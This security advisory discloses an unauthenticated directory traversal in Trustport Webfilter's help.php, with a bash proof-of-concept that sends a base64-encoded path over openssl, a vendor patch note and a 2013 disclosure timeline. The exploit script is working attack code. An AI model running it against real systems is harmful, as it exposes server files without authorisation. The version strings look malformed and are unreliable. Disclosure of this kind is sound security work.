Product Name: Trustport Webfilter Product Version: 126.96.36.1992 Platform: Microsoft Windows
From Trustports website:
"An advanced solution for the protection and optimization of web traffic within your company network.
It enables both monitoring and directing of users web activities. It also utilizes your internet connectivity, and reduces the risk of virus infections. Contributes to protecting the reputation of your company."
Trustports website can be found at www.trustport.com
A vulnerability exists within the help.php script, allowing an remote attacker to access files outside of the webroot with SYSTEM privileges, without authentication.
In order to exploit this vulnerability, an attacker has to craft a special GET-request, with a base64 encoded directory traversal string and file name (see Exploit section).
MY_IP=$1 MY_FILE=$(echo -n $2| base64) MY_CONSOLEPORT='4849'
if [ $# -eq 0 ] then echo "Usage: `basename $0` <ip> <path/filename>" exit fi
echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client -connect $MY_IP:$MY_CONSOLEPORT -quiet
A patch is available from vendor. Corrected Build is: 188.8.131.5233
26/07/2013 - Initial contact with vendor 26/07/2013 - Response from vendor 30/07/2013 - Patch information provided by vendor